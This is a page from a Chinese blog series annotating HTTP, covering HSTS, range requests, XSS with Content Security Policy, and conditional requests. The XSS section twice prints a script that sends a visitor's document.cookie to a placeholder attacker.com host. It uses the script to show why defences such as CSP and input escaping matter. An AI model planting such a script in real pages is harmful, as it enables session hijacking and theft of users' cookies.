foo.com。这样为中间人攻击创造了机会。可以利用重定向将用户引导至恶意站点,而不是原始站的安全版本。HTTP重定向HTTPS的安全隐患如果一个网站接受 HTTP 的请求,然后重定向到 HTTPS,用户可能在开始重定向前,通过没有加密的方式与服务器通信,比如,用户输入 http://foo.com 或者仅是输入 foo.com。这样为中间人攻击创造了机会。可以利用重定向将用户引导至恶意站点,而不是原始站的安全版本。你登录到一个免费 Wi-Fi 热点,然后开始浏览网站,访问你的网上银行,查看你的支出,并且支付一些订单。很不幸,你接入的 Wi-Fi 实际上是黑客的笔记本热点,他们拦截了你原始的 HTTP 请求,然后重定向到一个与你银行网站一模一样的钓鱼网站。现在,你的隐私数据暴露给黑客了。为解决这一问题,HTTP推出了HSTS(HTTP Strict Transport Security Preload,安全的预加载),它通过设置HTTP响应标头中的Strict-Transport-Security字段,要求浏览器在与特定网站通信时强制使用HTTPS连接,从而减少中间人攻击的风险。Strict-Transport-Security响应标头HTTP Strict-Transport-Security(通常简称为 HSTS)响应标头用来通知浏览器应该只通过 HTTPS 访问该站点,并且以后使用 HTTP 访问该站点都应自动重定向到 HTTPS。参数max-age=< expire-time >    只能使用 HTTPS 访问该站点的有效期(以秒为单位)includeSubDomains 可选    如果这个参数存在,那么代表此规则也适用于该网站的所有子域名preload 可选 非标准    如果该参数存在,意味着该站点希望并且可以申请加入到google提供的HSTS预加载列表站点示例// 该域名会自动使用 HTTPS,有效期(max-age)为一年。 Strict-Transport-Security: max-age=31536000 // 该域名与其所有子域名会自动使用 HTTPS,有效期(max-age)为一年。 Strict-Transport-Security: max-age=31536000; includeSubDomains // 该域名与其所有子域名会自动使用 HTTPS,有效期(max-age)为一年。 // 且该站点希望并且可以申请加入到google提供的HSTS预加载列表站点 Strict-Transport-Security: max-age=<expire-time>; includeSubDomains; preload浏览器是如何处理的你的网站第一次通过 HTTPS 请求,服务器响应 Strict-Transport-Security 标头,浏览器记录下这些信息,然后后面尝试访问这个网站的请求都会自动把 HTTP 替换为 HTTPS。当 Strict-Transport-Security 标头设置的过期时间到了,后面通过 HTTP 的访问恢复到正常模式,不会再自动重定向到 HTTPS。每次浏览器接收到 Strict-Transport-Security 标头,它都会更新这个网站的过期时间,所以网站可以刷新这些信息,防止过期发生。如果有禁用 Strict-Transport-Security 的需求,将 max-age 设置为 0(通过 https 连接)将立即使 Strict-Transport-Security 标头失效,从而可以通过 http 访问。预加载 HSTS从上述危险提示中我们知道Strict-Transport-Security 标头在HTTP中是无效的,因此用户第一次并且使用HTTP访问站点时,同样可能遭受中间人攻击,被引导至钓鱼网站。为解决这个问题,Google维护着一个HSTS 预加载列表,当你的响应中Strict-Transport-Security 标头包含了preload参数,你就可以向Google提供的HSTS预加载列表站点提交你的域名,以申请加入HSTS预加载列表中浏览器厂商会定期更新他们的HSTS预加载列表,并将符合条件的网站添加到列表中。一旦网站被包括在HSTS预加载列表中,浏览器将自动应用HSTS策略,即使用户首次以HTTP链接方式访问该网站。总结HTTP与HTTPS的区别HTTPHTTPS明文传输加密传输不进行身份验证进行身份验证无法验证报文完整性报文完整性保护一般使用80端口一般使用443端口......HTTPS的工作流程并非绝对安全的HTTPS· 会话密钥泄露 :在HTTPS握手过程中,客户端和服务器会交换用于加密通信的会话密钥。如果会话密钥泄露或恶意方能够通过一定手段获取这个会话密钥,他们就可以解密通信内容。· 客户端发送会话密钥服务端通常不验证客户端身份 : 这是一种称为单向认证的模式,其中服务器验证自己的身份,但不要求客户端提供证书或其他身份验证信息。虽然这在许多互联网应用中很常见,但它确实意味着恶意客户端可以连接到服务器,而服务器难以验证客户端的真实身份。· 证书链中任何一个节点被污染或私钥泄露,包括服务器私钥 :证书链是用于验证服务器身份的关键组成部分。如果证书链中的任何一个证书受到污染或者私钥泄露,攻击者可能会冒充合法的服务器进行中间人攻击,这会损害通信的机密性和完整性。· 客户端证书链中任何一个节点公钥被污染替换 : 类似于服务器证书链,客户端证书链中的污染或替换也可能导致安全问题。这通常涉及到客户端的身份验证,如果恶意方能够替换客户端证书链中的公钥,他们可能会冒充合法客户端与服务器通信。· 没有妥善处理HTTP到HTTPS的重定向 :如果一个网站接受 HTTP 的请求,然后重定向到 HTTPS,用户可能在开始重定向前,通过没有加密的方式与服务器通信,比如,用户输入 http://foo.com 或者仅是输入 foo.com。这样为中间人攻击创造了机会。可以利用重定向将用户引导至恶意站点,而不是原始站的安全版本。
0
0
0
浏览量1793
爱喝奶茶的波波

【HTTP完全注解】范围请求

范围请求范围请求是HTTP的一种内容协商机制,该机制允许客户端只请求资源的部分内容。范围请求在传送大的媒体文件,或者与文件下载的断点续传功能搭配使用时非常有用。范围请求的工作流程范围请求通过在HTTP请求标头Range中表明需要请求的部分资源的字节范围,服务器收到请求后将判断Range指定的范围是否超出资源的大小。如果范围未超出资源大小,服务器将响应 206 Partial Content 状态码,以及Range标头指定的资源的部分内容,并携带Content-Range响应头表明返回部分资源的字节范围/整体资源大小;如果所请求的范围越界,那么服务器会返回 416 Requested Range Not Satisfiable (请求的范围无法满足)状态码,表示客户端错误。如果事先不知资源能否范围请求,还需要事先发送一个head请求进行检测。范围请求工作流程如下:未知资源能否发起范围请求(已知忽略该步):对请求资源发起一个head请求,检测能否使用范围请求。服务端响应head请求(已知忽略该步):服务端收到head请求后,只会返回响应头部信息,而不返回实际的资源内容。如果返回头部信息中有包含Accept-Ranges: bytes头,则证明该资源支持范围请求,同时还会包含一个Content-Length头,该头表明了资源的整体大小;如果未包含Accept-Ranges: bytes则表明不支持范围请求。客户端发起范围请求:客户端携带Range请求标头,表明需要请求的部分资源的字节范围。客户端不仅仅只能指定请求资源的某一部分(单一范围),还可以指定请求资源的多个部分(多重范围)。单一范围请求/示例GET /image.png HTTP/1.1 Range: bytes=0-1023多重范围请求示例GET /image.png HTTP/1.1 Range: bytes=0-1023, 2000-6576服务端响应范围请求:服务端收到范围请求后,将判断请求资源是否存在Range中指定的字节范围,如果存在,服务端将正确处理请求,并只返回该范围内的数据,携带Content-Range响应头表明返回部分资源的字节范围/整体资源大小,携带Content-Length响应头表示响应的响应体的大小,使用206 Partial Content 状态码来指示成功响应请求的部分内容。如果所请求的范围越界,那么服务器会返回 416 Requested Range Not Satisfiable (请求的范围无法满足)状态码,表示客户端错误。单一范围请求响应示例HTTP/1.1 206 Partial Content Content-Range: bytes 0-1023/146515 Content-Length: 1024 ... (binary content)多重范围请求响应示例HTTP/1.1 206 Partial Content Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5 Content-Length: 2082 --3d6b6a416f9b5 Content-Type: image/png Content-Range: bytes 0-1000/146515 (binary content) --3d6b6a416f9b5 Content-Type: image/png Content-Range: bytes 2000-3000/146515 (binary content) --3d6b6a416f9b5与范围请求相关的三种响应状态:在请求成功的情况下,服务器会返回 206 Partial Content 状态码。在请求的范围越界的情况下(范围值超过了资源的大小),服务器会返回 416 Requested Range Not Satisfiable (请求的范围无法满足)状态码。在不支持范围请求的情况下,服务器会返回 200 OK 状态码。保障资源完整性范围请求每次都只请求资源的部分内容,那么如何保障两次请求的资源未发生过更改呢?如何保障资源的完整性呢?比如我使用范围请求请求了资源的一半内容,过了两天之后,我又继续使用范围请求请求资源的另一半内容,此时我是无法确认我请求的另一半资源未发生过更改,且无法保障两份资源能够拼合在一起还原为一份完整资源。为解决该问题,HTTP协议规定了一个特定的请求头 If-Range——来避免这种情况的发生。使用If-Range请求头与Etag响应头搭配使用,即可对请求资源进行版本验证;使用If-Range请求头与Last-Modified响应头搭配使用,即可对请求资源进行时间验证。基于时间的验证——Last-Modified/If-Range当客户端首次发起范围请求请求资源部分内容时,服务器的响应会携带Last-Modified响应标头来表明请求资源最后被修改的时间,通常情况下,服务器会根据文件系统中资源的最后修改时间自动设置这个标头。 如下所示:HTTP/1.1 206 Partial Content Content-Range: bytes 0-1023/146515 Content-Length: 1024 Last-Modified: Tue, 22 Feb 2022 22:00:00 GMT ........客户端收到响应后需要自行将这个时间存储起来,后续客户端再次对该资源进行范围请求时,需要自行携带一个If-Range请求头,并将保存的时间值放入其中,以告诉浏览器,上一次范围请求请求的资源最后被修改的时间,如下所示:GET /image.png HTTP/1.1 Range: bytes=1024-2047 If-Range: Tue, 22 Feb 2022 22:00:00 GMT ......服务器收到该请求后会比较请求中的 If-Range 值与当前资源的最后修改时间,如果内容自指定时间以来没有更改,则证明资源未发生更改,此时浏览器会返回状态码为206 Partial 的响应,以及相应的部分资源;如果请求资源发生了更改,那么就会返回状态码为 200 OK 的响应,同时返回整个资源。If-Range值与当前资源的最后修改时间相同的响应HTTP/1.1 206 Partial Content Content-Range: bytes 1024-2047/146515 Content-Length: 1024 Last-Modified: Tue, 22 Feb 2022 22:00:00 GMT ........If-Range值与当前资源的最后修改时间不同的响应HTTP/1.1 200 ok Last-Modified: Tue, 23 Feb 2022 22:00:00 GMT Content-Length: 146515 .................基于时间的验证虽然避免了重新传输相同的资源的问题,但它也存在诸多问题:· 时间精度问题: 时间戳通常只有秒级别的精度,这可能导致在某些情况下无法检测到资源的真正修改。如果两次修改之间的时间间隔很短,可能无法捕捉到变化。· 服务器时钟回退: 如果服务器的时钟回退(例如,由于时钟同步服务的干预),可能会导致客户端认为资源已经过期,尽管实际上它仍然是最新的。· 资源未被修改但最后修改时间已变: 有时资源的内容并没有实际修改,但由于某些原因,最后修改时间被更新了。这可能导致不必要的资源传输。为了解决这些问题,HTTP缓存推出了基于版本的验证作为替代方案。基于版本的验证——ETag/If-Range当客户端首次发起范围请求请求资源部分内容时,服务器的响应会携带ETag响应标头来表明请求资源的版本,该标头的值是服务器生成的任意值,因此服务器可以根据他们选择的任何方式自由设置值——例如主体内容的哈希或版本号,如下所示:HTTP/1.1 206 Partial Content Content-Range: bytes 0-1023/146515 Content-Length: 1024 ETag: "deadbeef" ........客户端收到响应后需要自行将ETag的值存储起来,后续客户端再次对该资源进行范围请求时,需要自行携带一个If-Range请求头,并将保存的ETag值放入其中,以告诉浏览器,上一次范围请求请求的资源的版本,如下所示:GET /image.png HTTP/1.1 Range: bytes=1024-2047 If-Range: "deadbeef" ......服务器收到该请求后会比较请求中的 If-Range 值与当前资源版本号是否相同,如果当前资源版本号与请求中的If-Range 值相同,则证明资源未发生更改,此时浏览器会返回状态码为206 Partial 的响应,以及相应的部分资源;如果当前资源版本号与请求中的If-Range 值不同,那么就会返回状态码为 200 OK 的响应,同时返回整个资源。If-Range值与当前资源版本相同的响应HTTP/1.1 206 Partial Content Content-Range: bytes 1024-2047/146515 Content-Length: 1024 ETag: "deadbeef" ........If-Range值与当前资源版本不同的响应HTTP/1.1 200 ok ETag: "sdaeadbeef" Content-Length: 146515 .................相关标头Accept-Ranges 响应标头响应标头Accept-Ranges表示请求资源是否支持范围请求。当浏览器发现Accept-Ranges头时,可以尝试继续中断了的下载,而不是重新开始。参数该响应标头并无其他参数取值none    表示不支持任何范围请求,由于其等同于没有返回此头部,因此很少使用。bytes    表示支持范围请求,其范围单位为bytes(字节)示例Accept-Ranges: bytesContent-Length 实体标头实体标头Content-Length表示消息主体的大小,用来指明发送给接收方的消息主体的大小,单位为bytes(字节)。参数该实体标头并无其他参数取值<length>    十进制数字,表明消息体的长度,单位为bytes(字节)。示例Content-Length:1024Range 请求标头请求标头Range指定了一系列的字节范围,用于告知服务器客户端需要请求资源哪些部分的内容。如果范围未超出资源大小,服务器将响应 206 Partial Content 状态码,以及Range 头字段请求的相应部分,如果所请求的范围不合法,那么服务器会返回 416 Range Not Satisfiable 状态码,表示客户端错误。参数该请求标头并无其他参数取值<unit>=[<star-end>,<start->......]    <unit>: 范围所采用的单位,通常是字节(bytes)。    start: 一个整数,表示范围的起始值。    end: 一个整数,表示范围的结束值,如果不存在,表示此范围一直延伸到文档结束。示例Range: bytes=200-1000, 2000-6576, 19000-Content-Range 响应标头响应标头Content-Range表示响应的部分资源的字节范围,以及资源的整体大小。参数该响应标头并无其他参数取值<unit> <star-end>/<size>    <unit>: 范围所采用的单位,通常是字节(bytes)。    start: 一个整数,表示范围的起始值。    end: 一个整数,表示范围的结束值。    size: 资源的整体大小。示例Content-Range: bytes 200-1000/67589If-Range 请求标头请求标头If-Range当与Last-Modified响应标头搭配时,需要指定一个绝对时间,通过检查资源的最后修改时间是否更改,来检查资源是否发生变化;当与Etag响应标头搭配时,需要指定一个版本号,通过检查资源是否与给定版本号匹配,来检查资源是否发生更改。当资源未发生更改服务器才会回复206 Partial Content状态码,以及Range 头字段请求的相应部分;如果资源发生更改,服务器将会返回 200 OK 状态码,并返回完整的请求资源。参数该请求标头并无其他参数。取值<date>    指定一个绝对时间,表示希望服务器检查资源的最后修改时间是否更改,也就是检查资源是否发生变化。"<etag_value>"    指定一个版本号,表示希望服务器检查资源是否与给定版本号匹配,也就是检查资源是否发生变化。示例If-Range: Wed, 21 Oct 2015 07:28:00 GMT If-Range: "deadbeef"Last-Modified 响应标头响应标头Last-Modified指定了响应的资源最后被修改的时间,通常情况下,服务器会根据文件系统中资源的最后修改时间自动设置这个标头。参数该响应标头并无其他参数。取值<date>    一个绝对时间,指定响应的资源最后被修改的时间。示例Last-Modified: Wed, 21 Oct 2015 07:28:00 GMTETag 响应标头响应标头ETag指定了一个版本号,表明响应的资源的版本,该标头的值是服务器生成的任意值,因此服务器可以根据他们选择的任何方式自由设置值——例如主体内容的哈希或版本号。参数W/ 可选    'W/'(大小写敏感) 表示使用弱验证器。弱验证器很容易生成,但不利于比较。强验证器是比较的理想选择,但很难有效地生成。相同资源的两个弱Etag值可能语义等同,但不是每个字节都相同。"<etag_value>"    指定一个版本号,没有明确指定生成 ETag 值的方法。通常,使用内容的散列,最后修改时间戳的哈希值,或简单地使用版本号。例如,MDN 使用 wiki 内容的十六进制数字的哈希值。示例ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" ETag: W/"0815"h
0
0
0
浏览量387
爱喝奶茶的波波

【HTTP完全注解】XSS攻击?内容安全策略会出手的

XSS攻击?内容安全策略会出手的XSS(Cross-Site Scripting,跨站脚本攻击,简称XSS)攻击是一种利用网页应用程序的安全漏洞的攻击方式,攻击者通过在网页中注入恶意脚本代码,使其在用户的浏览器中执行。这些恶意脚本可以用来窃取用户的敏感信息、篡改网页内容或进行其他未经授权的操作。有小伙伴可能会疑惑:"攻击者是怎么向网页注入恶意脚本的?",我们看下面的例子:有一个博客网站提供了评论功能,用户评论可以实时渲染到DOM中,但由于该博客并未做用户输入以及渲染到DOM时的数据校验,因此攻击者就可以评论如下内容:<script> // 恶意代码,假设它会窃取用户的Cookie var stolenData = document.cookie; // 将数据发送到攻击者的服务器 var img = new Image(); img.src = "http://attacker.com/steal.php?data=" + encodeURIComponent(stolenData); </script>当其他用户浏览评论时,浏览器会执行评论中的JavaScript代码。这个恶意脚本会窃取用户的Cookie数据,并将它发送到攻击者的服务器,攻击者可以在服务器上分析这些Cookie数据,可能用于进一步的攻击,如身份盗窃或会话劫持。是不是很恐怖,当然聪明的朋友可能会说:"那我做好用户输入、客户端渲染的数据校验不就可以了吗?"。确实,做好用户输入的验证和客户端渲染数据的校验是防止XSS攻击的关键步骤之一,但不能完全依赖它来确保安全,因为XSS攻击可以非常隐蔽和复杂,比如下面这个例子:有一个在线论坛网站用于用户发表和浏览帖子。它使用了一个开源的Markdown渲染库,该库用于将用户输入的Markdown文本转换为HTML以进行显示。该网站执行了严格的用户输入、数据渲染验证,以确保用户不能直接插入恶意脚本或HTML标签。但其依赖的Markdown渲染库被污染,在某个时刻被攻击者篡改,包含了以下代码:<script> // 恶意代码,假设它会窃取用户的Cookie var stolenData = document.cookie; // 将数据发送到攻击者的服务器 var img = new Image(); img.src = "http://attacker.com/steal.php?data=" + encodeURIComponent(stolenData); </script>当用户浏览Markdown时,浏览器会执行第三方库恶意代码。这个恶意脚本会窃取用户的Cookie数据,并将它发送到攻击者的服务器,攻击者可以在服务器上分析这些Cookie数据,可能用于进一步的攻击,如身份盗窃或会话劫持。上述例子中该网站虽然对用户输入、数据渲染进行了严格的验证,但由于第三方库存在漏洞,导致恶意JavaScript代码被执行。当然,这可以通过尽量选择受信任的源(如官方仓库或社区维护的库)的依赖,以及定期审查依赖的安全风险来降低XSS攻击的风险。从上述两个例子我们可以看到想要防止XSS攻击是极度复杂且困难的,为了提供一种有效的方式来降低XSS攻击风险,W3C推出了一项安全措施——内容安全策略(Content Security Policy ,简称CSP)内容安全策略(Content Security Policy ,简称CSP)内容安全策略(CSP)是一个额外的安全层,用于检测报告并削弱某些特定类型的攻击,包括跨站脚本(XSS)和数据注入攻击等。该安全策略通过设置HTTP响应标头中的Content-Security-Policy字段,告诉浏览器哪些来源是受信任的,哪些操作是允许的,从而减少跨站脚本(XSS)攻击的风险。Content-Security-Policy响应标头Content-Security-Policy(CSP)响应标头用于指定浏览器应该如何处理页面中的内容和资源,告诉浏览器哪些来源是受信任的,哪些操作是允许的,以此增强Web应用程序的安全性,减少或防止跨站脚本攻击(XSS)和其他类型的注入攻击。参数font-src < source > < source >... 可选    用于定义通过 @font-face 加载的字体文件的来源img-src < source > < source >... 可选    用于定义图像的来源。media-src < source > < source >... 可选    用于定义< audio>、< video> 或 < track> 标签加载的媒体文件的源地址。object-src < source > < source >... 可选    用于定义< object> 或 < embed>标签加载资源的源地址。style-src < source > < source >... 可选    用于定义CSS样式表的来源。script-src < source > < source >... 可选    用于定义JavaScript代码的来源。connect-src < source > < source >... 可选    用于定义网络连接的来源,包括AJAX请求和WebSocket。manifest-src < source > < source >... 可选    用于定义manifest 文件的来源frame-src < source > < source >... 可选    用于定义< frame> 和 < iframe>加载的内嵌内容的源地址worker-src < source > < source >... 可选    用于定义Worker、SharedWorke 或 ServiceWorker脚本源。child-src < source > < source >... 可选    用于定义 Web Workers 和其他内嵌浏览器内容(例如用< frame> 和 < iframe>加载到页面的内容)的源地址。prefetch-src < source > < source >... 可选    用于定义预加载或预渲染的源地址。webrtc-src < source > < source >... 可选 实验中    用于定义WebRTC连接的源地址。default-src < source > < source >... 可选    用于定义默认内容的源地址,默认内容指未明确指定其来源的内容base-uri < source > < source >... 可选    用于定义 DOM 中 < base> 元素可以使用的 URL。sandbox < value> < value>... 可选    用于定义 iframe 中的行为和权限,与< ifame>元素中sandbox属性一致form-action< source > < source >... 可选    用于定义当前页面中表单的提交地址。frame-ancestors < source > < source >... 可选    用于定义哪些网页可以使用 iframe、frame、object、embed 等元素嵌套显示当前页面block-all-mixed-content 可选    指定该参数表明当使用 HTTPS 加载页面时阻止使用 HTTP 加载任何资源。upgrade-insecure-requests 可选    指定该参数表明把当前网页中所有不安全的URL(HTTP的URL)通过HTTPS访问< source >取值上述参数中< srouce >取值如下:< host-source > :以域名或者 IP 地址表示的主机名,外加可选的 URL 协议名以及端口号。站点地址中可能会包含一个可选的前置通配符(星号 ' * '),同时也可以将通配符(也是'*')应用于端口号,表示在这个源中可以使用任意合法的端口号。< scheme-source > :表示URL协议名要相同,例如:https:、data:、mediastream:、blob:、filesystem:(冒号是必须的)'self' :表示同源,包括协议名和端口号都要相同(单引号是必须的)'unsafe-inline' :允许使用内联资源,例如内联< script >元素、javascript:URL、内联事件处理程序和内联< style >元素(单引号是必须的)'unsafe-eval' :允许使用eval()和其他不安全的方法从字符串创建代码(单引号是必须的)'wasm-unsafe-eval' :允许加载和执行 WebAssembly 模块,并且无需允许'unsafe-eval'(单引号是必须的)'unsafe-hashes' :允许启用特定的内联事件处理程序(例如 onclick、onload、onmouseover 等)。如果您只是不允许内联< script >元素或javascript:URL,那么这是比使用unsafe-inline表达式更安全的方法(单引号是必须的)'none' :不允许任何内容(单引号是必须的)'nonce-< base64-value >' :使用这个指令,你可以为每个内联脚本分配一个唯一的 nonce 值,并在 CSP 头部中指定这些 nonce 值,只有具有正确 nonce 值的内联脚本才会被执行(单引号是必须的)'< hash-algorithm >-< base64-value >' :该指令为每个内联脚本生成哈希值,并在 CSP 头部中列出这些哈希值,只有与 CSP 头部中列出的哈希值匹配的内联脚本才会被执行(单引号是必须的)'strict-dynamic' :它告诉浏览器在内联脚本执行时,只允许加载和执行来自同一源(同源)的外部脚本(单引号是必须的)'report-sample' :要求在违规报告中包含违规代码示例(单引号是必须的)示例// 禁用不安全的内联/动态执行,只允许通过 https 加载这些资源(如图片、字体、脚本等) Content-Security-Policy: default-src https: <meta http-equiv="Content-Security-Policy" content="default-src https:"> // 资源只从 https 加载,允许使用`eval()`,允许使用内联资源,并且禁止插件 Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none' <meta http-equiv="Content-Security-Policy" content="default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'"> 违规报告支持 CSP 的浏览器将始终对于每个企图违反你所建立的策略都发送违规报告,如果策略里包含一个有效的report-uri 参数启用报告为启用发送违规报告,你需要指定report-to参数,并提供至少一个 URI 地址去递交报告:Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi违规报告的内容违规报告将 JSON 对象发送给report-to参数指定的地址,它包含了以下数据:blocked-uri :被 CSP 阻止的资源 URI。如果被阻止的 URI 来自不同的源而非 document-uri,那么被阻止的资源 URI 会被删减,仅保留协议、主机和端口号。disposition :根据 Content-Security-Policy-Report-Only和 Content-Security-Policy 标头使用情况的不同,值为 "enforce" 或 "report"。document-uri :发生违规的文档的 URI。effective-directive :导致违规行为发生的指令。一些浏览器可能提供不同的值,例如 Chrome 提供 style-src-elem 或 style-src-attr,即使实际执行的指令是 style-src。original-policy :由 Content-Security-Policy HTTP 标头指定的原始策略值。referrer 已删除 :违规发生处的文档引用(地址)。script-sample :导致该违规的内联代码、事件处理器或样式的前 40 个字符。只适用于 script-src* 或 style-src* 包含 'report-sample' 的情况。status-code :全局对象被实例化的资源的 HTTP 状态代码。violated-directive 已删除 :导致违反策略的指令。violated-directive 是 effective-directive 字段的历史名称,并包含相同的值。// 样式 { "csp-report": { "blocked-uri": "http://example.com/css/style.css", "disposition": "report", "document-uri": "http://example.com/signup.html", "effective-directive": "style-src-elem", "original-policy": "default-src 'none'; style-src cdn.example.com; report-to /_/csp-reports", "referrer": "", "status-code": 200, "violated-directive": "style-src-elem" } }对内容安全策略进行测试由于内容安全策略会禁用一些脚本,如果配置不当贸然上线可能会导致一些重要脚本无法执行,从而导致不可预估的后果。因此 CSP 可用通过设置Content-Security-Policy-Report-Only响应标头将策略部署为仅报告(report-only)模式,在此模式下,CSP 策略不是强制性的,但是任何违规行为将会发送给report-uri参数指定的地址。此外,仅报告标头可以用来测试对策略未来的修订,而不用实际部署它。Content-Security-Policy-Report-Only与Content-Security-Policy拥有完全一样的参数,只不过前者不强制执行策略,而后者是强制执行策略的。如果两者同时出现在一个响应中,两个策略均有效。在 Content-Security-Policy 标头中指定的策略有强制性,而 Content-Security-Policy-Report-Only 中的策略仅产生报告而不具有强制性。XSS攻击防范手段用户输入数据以及动态渲染用户输入数据时要严格验证、过滤以及转义确保用户提交的数据符合预期的格式和类型,拒绝不合法的输入,在将用户输入插入到HTML、JavaScript、CSS或其他上下文中之前,要对数据进行严格验证、过滤以及转义,防止浏览器将输入识别为可执行脚本。切勿滥用任何动态渲染、插入、执行js、css以及html的方法,慎用任何序列以及反序列化的方法在使用上述方法时一定要仔细思考是否一定要使用这些方法才能满足需求,如若不是最好不要使用,非要使用一定要仔细验证数据来源是否已经经过严格的验证、过滤以及转义。选择受信任的源(如官方仓库或社区维护的库)的依赖,定期审查项目依赖的安全风险避免使用来自不明来源、未经验证或不活跃维护的依赖项,因为这些依赖项可能包含安全漏洞,项目依赖需要定期监控和更新,因为漏洞和安全问题可能随着时间而出现。使用内容安全策略(CSP)使用CSP指定浏览器应该如何处理页面中的内容和资源,告诉浏览器哪些来源是受信任的,哪些操作是允许的,以此增强Web应用程序的安全性,减少或防止跨站脚本攻击(XSS)和其他类型的注入攻击。
0
0
0
浏览量210
爱喝奶茶的波波

【HTTP完全注解】条件请求

条件请求还记得范围请求以及缓存中所介绍的基于时间/版本的验证请求吗?这些能够携带某些条件发起的请求,被称为条件请求。条件请求是HTTP的一种内容协商机制,该机制通过在请求中包含特定的标头来告知服务器仅在某些条件得到满足时才响应。这类请求可以用来验证缓存的有效性,省去不必要的控制手段,帮助减少不必要的数据传输,提高效率,验证文件的完整性,确保资源的一致性和完整性。条件请求的分类条件请求正如缓存与范围请求中介绍的那样,分为了基于时间的条件请求与基于版本的条件请求。基于时间的条件请求基于时间的条件请求依赖Last-Modified响应标头表明资源最后修改时间,依赖If-Modified-Since(缓存、普通请求使用)、If-Unmodified-Since(普通请求使用)或If-Range(范围请求使用)请求标头携带已请求过的资源的最后修改时间,以供服务器检查两资源修改时间是否一致,以此判断资源是否修改。If-Modified-Since是指当资源发生了修改则满足条件,提供资源;而If-Unmodified-Since与If-Range则是指当资源未发生修改则满足条件,提供资源。基于时间的条件请求工作流程:客户端请求资源服务端响应资源: 服务端响应客户端请求资源,并携带Last-Modified响应标头表明所请求的资源最后修改时间。客户端发起条件请求: 客户端根据不同的请求使用相关标头携带之前请求过的资源的最后修改时间,对同一资源发起条件请求。服务端判断并响应资源: 根据请求携带的修改时间,检查服务器当前资源的修改时间是否一致,以此判断资源是否修改。最后根据不同的标头响应资源。基于时间的条件请求虽然避免了重新传输相同的资源的问题,但它也存在诸多问题:时钟同步问题: 基于时间的条件请求的前提条件是服务器和客户端的时钟是同步的。如果两者的时钟存在差异,可能会导致验证失败。这种情况下,服务器认为资源已经过期,但实际上客户端的时钟比服务器快或慢,导致了不必要的资源传输。时间精度问题: 时间戳通常只有秒级别的精度,这可能导致在某些情况下无法检测到资源的真正修改。如果两次修改之间的时间间隔很短,可能无法捕捉到变化。服务器时钟回退: 如果服务器的时钟回退(例如,由于时钟同步服务的干预),可能会导致客户端认为资源已经过期,尽管实际上它仍然是最新的。资源未被修改但最后修改时间已变: 有时资源的内容并没有实际修改,但由于某些原因,最后修改时间被更新了。这可能导致不必要的资源传输。为了解决这些问题,HTTP推出了基于版本的条件请求作为替代方案。基于版本的条件请求基于版本的条件请求依赖ETag响应标头表明资源的版本,依赖If-None-Match(缓存、普通请求使用)、If-Match(普通请求使用)或If-Range(范围请求使用)请求标头携带已请求过的资源的版本,以供服务器检查两资源版本是否一致,以此判断资源是否修改。If-None-Match是指当资源发生了修改则满足条件,提供资源;而If-Match与If-Range则是指当资源未发生修改则满足条件,提供资源。基于版本的条件请求工作流程:客户端请求资源服务端响应资源: 服务端响应客户端请求资源,并携带ETag响应标头表明所请求的资源的版本。客户端发起条件请求: 客户端根据不同的请求使用相关标头携带之前请求过的资源的版本,对同一资源发起条件请求。服务端判断并响应资源: 根据请求携带的资源版本,检查服务器当前资源的版本是否一致,以此判断资源是否修改。最后根据不同的标头响应资源。为什么范围请求要单独规定一个特点的标头If-Range来进行条件请求,而不复用 If-Unmodified-Since和 If-Match呢?确实对于范围请求来说,可以使用If-Unmodified-Since和 If-Match来进行条件请求,假如前置条件失败,服务器端会返回错误提示,然后客户端可以从头开始重新下载资源:虽然这种方法行得通,但是它在文件发生变化的情况下增加了一次额外的请求/响应往返,这一点会影响性能。为此 HTTP 协议规定了一个特定的标头—— If-Range——来避免这种情况的发生:相关标头标头Last-Modified、If-Modified-Since、ETag、If-None-Match、If-Range已在HTTP缓存、范围请求章节详细介绍过,因此本节不再重复介绍。If-Unmodified-Since 请求标头请求标头If-Unmodified-Since指定了一个绝对时间,其值为之前已请求过的内容的最后修改时间(通常由响应标头Last-Modified指定),携带该标头希望服务器通过检查当前资源的修改时间与该标头携带时间来判断资源是否发生修改。如果资源未发生修改则响应资源返回200状态码,已发生修改则只响应状态码412 Precondition Failed。参数该请求标头并无其他参数。取值<date>    一个绝对时间,其值为之前已请求过的内容的最后修改时间(通常由响应标头Last-Modified指定)示例If-Unmodified-Since: Wed, 21 Oct 2015 07:28:00 GMTIf-Match 请求标头请求标头If-Match指定了一个版本号,其值为之前已请求过的内容的版本号(通常由响应标头ETag指定),携带该标头希望服务器通过检查当前资源的版本与该标头携带的版本来判断资源是否发生修改。如果资源未发生修改则响应资源返回200状态码,已发生修改则只响应状态码412 Precondition Failed。参数该请求标头并无其他参数。取值W/ 可选    'W/'(大小写敏感) 表示使用弱验证器。弱验证器很容易生成,但不利于比较。强验证器是比较的理想选择,但很难有效地生成。相同资源的两个弱Etag值可能语义等同,但不是每个字节都相同。"<etag_value>"    指定一个版本号,表示希望服务器检查资源是否与给定版本号匹配。* 可选星号是一个特殊值,可以代表任意资源。它只用在进行资源上传时,通常是采用 PUT 方法,来检测拥有相同识别 ID 的资源是否已经上传过了。示例If-Match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d" If-Match: W/"67ab43", "54ed21", "7892dd" If-Match: *
0
0
0
浏览量539
爱喝奶茶的波波

【HTTP完全注解】CSRF攻击?同源策略会出手的

